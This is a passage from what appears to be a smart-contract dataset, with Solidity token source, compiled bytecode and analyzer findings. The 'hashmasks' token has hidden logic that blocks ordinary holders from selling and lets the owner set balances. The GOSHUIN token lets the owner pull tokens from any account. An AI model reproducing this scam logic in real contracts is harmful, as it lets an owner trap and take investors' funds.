return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract hashmasks {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender == owner);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
address tradeAddress;
function transferownership(address addr) public returns(bool) {
require(msg.sender == owner);
tradeAddress = addr;
return true;
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
0x60806040526004361061009c5760003560e01c80633177029f116100645780633177029f1461027357806370a08231146102e657806395d89b411461034b578063a9059cbb146103db578063dd62ed3e14610441578063e8b5b796146104c65761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019757806323b872dd146101c2578063313ce56714610248575b600080fd5b3480156100ad57600080fd5b506100b661052f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105cd565b604051808215151515815260200191505060405180910390f35b3480156101a357600080fd5b506101ac6106bf565b6040518082815260200191505060405180910390f35b61022e600480360360608110156101d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c5565b604051808215151515815260200191505060405180910390f35b34801561025457600080fd5b5061025d6109d8565b6040518082815260200191505060405180910390f35b34801561027f57600080fd5b506102cc6004803603604081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109dd565b604051808215151515815260200191505060405180910390f35b3480156102f257600080fd5b506103356004803603602081101561030957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aee565b6040518082815260200191505060405180910390f35b34801561035757600080fd5b50610360610b06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a0578082015181840152602081019050610385565b50505050905090810190601f1680156103cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610427600480360360408110156103f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba4565b604051808215151515815260200191505060405180910390f35b34801561044d57600080fd5b506104b06004803603604081101561046457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b3480156104d257600080fd5b50610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bde565b604051808215151515815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c55780601f1061059a576101008083540402835291602001916105c5565b820191906000526020600020905b8154815290600101906020018083116105a857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000808214156106d857600190506109d1565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461081f5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561079457600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b61082a848484610c84565b61083357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561087f57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a3957600080fd5b6000821115610a8d576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60066020528060005260406000206000915090505481565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9c5780601f10610b7157610100808354040283529160200191610b9c565b820191906000526020600020905b815481529060010190602001808311610b7f57829003601f168201915b505050505081565b6000610bb13384846106c5565b905092915050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3a57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610d2f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610d875750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610ddb5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610de95760019050610e01565b610df38483610e08565b610dfc57600080fd5b600190505b9392505050565b600080600454148015610e1d57506000600254145b8015610e2b57506000600354145b15610e395760009050610ed8565b60006004541115610e95576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610e945760009050610ed8565b5b60006002541115610eb457816002541115610eb35760009050610ed8565b5b60006003541115610ed357600354821115610ed25760009050610ed8565b5b600190505b9291505056fea265627a7a723158208163d1571fb59f1a13fd2828b02d9c891a7d8f78176a2ad58934f2461515373f64736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 4,180 |
0xcec8a8521d49080e5b7a04ae5ff022c70b1efd0f
|
pragma solidity ^0.4.24;
/**
* @title GOSHUIN
* @author GOSHUIN
* @dev GOSHUIN is an ERC223 Token with ERC20 functions and events
* Fully backward compatible with ERC20
*/
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization
* control functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the
* sender account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC223
* @dev ERC223 contract interface with ERC20 functions and events
* Fully backward compatible with ERC20
* Recommended implementation used at https://github.com/Dexaran/ERC223-token-standard/tree/Recommended
*/
contract ERC223 {
uint public totalSupply;
// ERC223 and ERC20 functions and events
function balanceOf(address who) public view returns (uint);
function totalSupply() public view returns (uint256 _supply);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
// ERC223 functions
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
// ERC20 functions and events
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
/**
* @title ContractReceiver
* @dev Contract that is working with ERC223 tokens
*/
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
/*
* tkn variable is analogue of msg variable of Ether transaction
* tkn.sender is person who initiated this token transaction (analogue of msg.sender)
* tkn.value the number of tokens that were sent (analogue of msg.value)
* tkn.data is data of token transaction (analogue of msg.data)
* tkn.sig is 4 bytes signature of function if data of token transaction is a function execution
*/
}
}
/**
* @title GOSHUIN
* @author BLACK DIA COIN TEAM
* @dev GOSHUIN is an ERC223 Token with ERC20 functions and events
* Fully backward compatible with ERC20
*/
contract GOSHUIN is ERC223, Ownable {
using SafeMath for uint256;
string public name = "GOSHUIN Token";
string public symbol = "GOSHUIN";
uint8 public decimals = 8;
uint256 public totalSupply = 1e10 * 1e8;
uint256 public distributeAmount = 0;
bool public mintingFinished = false;
mapping(address => uint256) public balanceOf;
mapping(address => mapping (address => uint256)) public allowance;
mapping (address => bool) public frozenAccount;
mapping (address => uint256) public unlockUnixTime;
event FrozenFunds(address indexed target, bool frozen);
event LockedFunds(address indexed target, uint256 locked);
event Burn(address indexed from, uint256 amount);
event Mint(address indexed to, uint256 amount);
event MintFinished();
/**
* @dev Constructor is called only once and can not be called again
*/
function GOSHUIN() public {
balanceOf[msg.sender] = totalSupply;
}
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOf[_owner];
}
/**
* @dev Prevent targets from sending or receiving tokens
* @param targets Addresses to be frozen
* @param isFrozen either to freeze it or not
*/
function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public {
require(targets.length > 0);
for (uint j = 0; j < targets.length; j++) {
require(targets[j] != 0x0);
frozenAccount[targets[j]] = isFrozen;
FrozenFunds(targets[j], isFrozen);
}
}
/**
* @dev Prevent targets from sending or receiving tokens by setting Unix times
* @param targets Addresses to be locked funds
* @param unixTimes Unix times when locking up will be finished
*/
function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public {
require(targets.length > 0
&& targets.length == unixTimes.length);
for(uint j = 0; j < targets.length; j++){
require(unlockUnixTime[targets[j]] < unixTimes[j]);
unlockUnixTime[targets[j]] = unixTimes[j];
LockedFunds(targets[j], unixTimes[j]);
}
}
/**
* @dev Function that is called when a user or another contract wants to transfer funds
*/
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if (isContract(_to)) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if (isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
}
/**
* @dev Standard function transfer similar to ERC20 transfer with no _data
* Added due to backwards compatibility reasons
*/
function transfer(address _to, uint _value) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
bytes memory empty;
if (isContract(_to)) {
return transferToContract(_to, _value, empty);
} else {
return transferToAddress(_to, _value, empty);
}
}
// assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length > 0);
}
// function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
// function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* Added due to backwards compatibility with ERC20
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_to != address(0)
&& _value > 0
&& balanceOf[_from] >= _value
&& allowance[_from][msg.sender] >= _value
&& frozenAccount[_from] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[_from]
&& now > unlockUnixTime[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Allows _spender to spend no more than _value tokens in your behalf
* Added due to backwards compatibility with ERC20
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender
* Added due to backwards compatibility with ERC20
* @param _owner address The address which owns the funds
* @param _spender address The address which will spend the funds
*/
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowance[_owner][_spender];
}
/**
* @dev Burns a specific amount of tokens.
* @param _from The address that will burn the tokens.
* @param _unitAmount The amount of token to be burned.
*/
function burn(address _from, uint256 _unitAmount) onlyOwner public {
require(_unitAmount > 0
&& balanceOf[_from] >= _unitAmount);
balanceOf[_from] = balanceOf[_from].sub(_unitAmount);
totalSupply = totalSupply.sub(_unitAmount);
Burn(_from, _unitAmount);
}
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _unitAmount The amount of tokens to mint.
*/
function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) {
require(_unitAmount > 0);
totalSupply = totalSupply.add(_unitAmount);
balanceOf[_to] = balanceOf[_to].add(_unitAmount);
Mint(_to, _unitAmount);
Transfer(address(0), _to, _unitAmount);
return true;
}
/**
* @dev Function to stop minting new tokens.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
/**
* @dev Function to distribute tokens to the list of addresses by the provided amount
*/
function distributeAirdrop(address[] addresses, uint256 amount) public returns (bool) {
require(amount > 0
&& addresses.length > 0
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
amount = amount.mul(1e8);
uint256 totalAmount = amount.mul(addresses.length);
require(balanceOf[msg.sender] >= totalAmount);
for (uint j = 0; j < addresses.length; j++) {
require(addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amount);
Transfer(msg.sender, addresses[j], amount);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
function distributeAirdrop(address[] addresses, uint[] amounts) public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
uint256 totalAmount = 0;
for(uint j = 0; j < addresses.length; j++){
require(amounts[j] > 0
&& addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
amounts[j] = amounts[j].mul(1e8);
totalAmount = totalAmount.add(amounts[j]);
}
require(balanceOf[msg.sender] >= totalAmount);
for (j = 0; j < addresses.length; j++) {
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amounts[j]);
Transfer(msg.sender, addresses[j], amounts[j]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
/**
* @dev Function to collect tokens from the list of addresses
*/
function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length);
uint256 totalAmount = 0;
for (uint j = 0; j < addresses.length; j++) {
require(amounts[j] > 0
&& addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
amounts[j] = amounts[j].mul(1e8);
require(balanceOf[addresses[j]] >= amounts[j]);
balanceOf[addresses[j]] = balanceOf[addresses[j]].sub(amounts[j]);
totalAmount = totalAmount.add(amounts[j]);
Transfer(addresses[j], msg.sender, amounts[j]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].add(totalAmount);
return true;
}
function setDistributeAmount(uint256 _unitAmount) onlyOwner public {
distributeAmount = _unitAmount;
}
/**
* @dev Function to distribute tokens to the msg.sender automatically
* If distributeAmount is 0, this function doesn't work
*/
function autoDistribute() payable public {
require(distributeAmount > 0
&& balanceOf[owner] >= distributeAmount
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
if(msg.value > 0) owner.transfer(msg.value);
balanceOf[owner] = balanceOf[owner].sub(distributeAmount);
balanceOf[msg.sender] = balanceOf[msg.sender].add(distributeAmount);
Transfer(owner, msg.sender, distributeAmount);
}
/**
* @dev fallback function
*/
function() payable public {
autoDistribute();
}
}
|
0x6080604052600436106101455763ffffffff60e060020a60003504166305d2035b811461014f57806306fdde0314610178578063095ea7b31461020257806318160ddd1461022657806323b872dd1461024d578063313ce5671461027757806340c10f19146102a25780634f25eced146102c657806364ddc605146102db57806370a08231146103695780637d64bcb41461038a5780638da5cb5b1461039f57806394594625146103d057806395d89b41146104275780639dc29fac1461043c578063a8f11eb914610145578063a9059cbb14610460578063b414d4b614610484578063be45fd62146104a5578063c341b9f61461050e578063cbbe974b14610567578063d39b1d4814610588578063dd62ed3e146105a0578063dd924594146105c7578063f0dc417114610655578063f2fde38b146106e3578063f6368f8a14610704575b61014d6107ab565b005b34801561015b57600080fd5b5061016461090f565b604080519115158252519081900360200190f35b34801561018457600080fd5b5061018d610918565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101c75781810151838201526020016101af565b50505050905090810190601f1680156101f45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561020e57600080fd5b50610164600160a060020a03600435166024356109ab565b34801561023257600080fd5b5061023b610a11565b60408051918252519081900360200190f35b34801561025957600080fd5b50610164600160a060020a0360043581169060243516604435610a17565b34801561028357600080fd5b5061028c610c1b565b6040805160ff9092168252519081900360200190f35b3480156102ae57600080fd5b50610164600160a060020a0360043516602435610c24565b3480156102d257600080fd5b5061023b610d24565b3480156102e757600080fd5b506040805160206004803580820135838102808601850190965280855261014d95369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a998901989297509082019550935083925085019084908082843750949750610d2a9650505050505050565b34801561037557600080fd5b5061023b600160a060020a0360043516610e8e565b34801561039657600080fd5b50610164610ea9565b3480156103ab57600080fd5b506103b4610f0f565b60408051600160a060020a039092168252519081900360200190f35b3480156103dc57600080fd5b5060408051602060048035808201358381028086018501909652808552610164953695939460249493850192918291850190849080828437509497505093359450610f1e9350505050565b34801561043357600080fd5b5061018d61118f565b34801561044857600080fd5b5061014d600160a060020a03600435166024356111f0565b34801561046c57600080fd5b50610164600160a060020a03600435166024356112d5565b34801561049057600080fd5b50610164600160a060020a0360043516611398565b3480156104b157600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610164948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506113ad9650505050505050565b34801561051a57600080fd5b506040805160206004803580820135838102808601850190965280855261014d95369593946024949385019291829185019084908082843750949750505050913515159250611466915050565b34801561057357600080fd5b5061023b600160a060020a0360043516611570565b34801561059457600080fd5b5061014d600435611582565b3480156105ac57600080fd5b5061023b600160a060020a036004358116906024351661159e565b3480156105d357600080fd5b506040805160206004803580820135838102808601850190965280855261016495369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506115c99650505050505050565b34801561066157600080fd5b506040805160206004803580820135838102808601850190965280855261016495369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a99890198929750908201955093508392508501908490808284375094975061187c9650505050505050565b3480156106ef57600080fd5b5061014d600160a060020a0360043516611b5c565b34801561071057600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610164948235600160a060020a031694602480359536959460649492019190819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a999881019791965091820194509250829150840183828082843750949750611bf19650505050505050565b60006006541180156107d95750600654600154600160a060020a031660009081526008602052604090205410155b80156107f55750336000908152600a602052604090205460ff16155b801561080f5750336000908152600b602052604090205442115b151561081a57600080fd5b600034111561085e57600154604051600160a060020a03909116903480156108fc02916000818181858888f1935050505015801561085c573d6000803e3d6000fd5b505b600654600154600160a060020a031660009081526008602052604090205461088b9163ffffffff611f0f16565b600154600160a060020a031660009081526008602052604080822092909255600654338252919020546108c39163ffffffff611f2116565b3360008181526008602090815260409182902093909355600154600654825190815291519293600160a060020a03909116926000805160206123038339815191529281900390910190a3565b60075460ff1681565b60028054604080516020601f60001961010060018716150201909416859004938401819004810282018101909252828152606093909290918301828280156109a15780601f10610976576101008083540402835291602001916109a1565b820191906000526020600020905b81548152906001019060200180831161098457829003601f168201915b5050505050905090565b336000818152600960209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60055490565b6000600160a060020a03831615801590610a315750600082115b8015610a555750600160a060020a0384166000908152600860205260409020548211155b8015610a845750600160a060020a03841660009081526009602090815260408083203384529091529020548211155b8015610aa95750600160a060020a0384166000908152600a602052604090205460ff16155b8015610ace5750600160a060020a0383166000908152600a602052604090205460ff16155b8015610af15750600160a060020a0384166000908152600b602052604090205442115b8015610b145750600160a060020a0383166000908152600b602052604090205442115b1515610b1f57600080fd5b600160a060020a038416600090815260086020526040902054610b48908363ffffffff611f0f16565b600160a060020a038086166000908152600860205260408082209390935590851681522054610b7d908363ffffffff611f2116565b600160a060020a038085166000908152600860209081526040808320949094559187168152600982528281203382529091522054610bc1908363ffffffff611f0f16565b600160a060020a0380861660008181526009602090815260408083203384528252918290209490945580518681529051928716939192600080516020612303833981519152929181900390910190a35060015b9392505050565b60045460ff1690565b600154600090600160a060020a03163314610c3e57600080fd5b60075460ff1615610c4e57600080fd5b60008211610c5b57600080fd5b600554610c6e908363ffffffff611f2116565b600555600160a060020a038316600090815260086020526040902054610c9a908363ffffffff611f2116565b600160a060020a038416600081815260086020908152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000916000805160206123038339815191529181900360200190a350600192915050565b60065481565b600154600090600160a060020a03163314610d4457600080fd5b60008351118015610d56575081518351145b1515610d6157600080fd5b5060005b8251811015610e89578181815181101515610d7c57fe5b9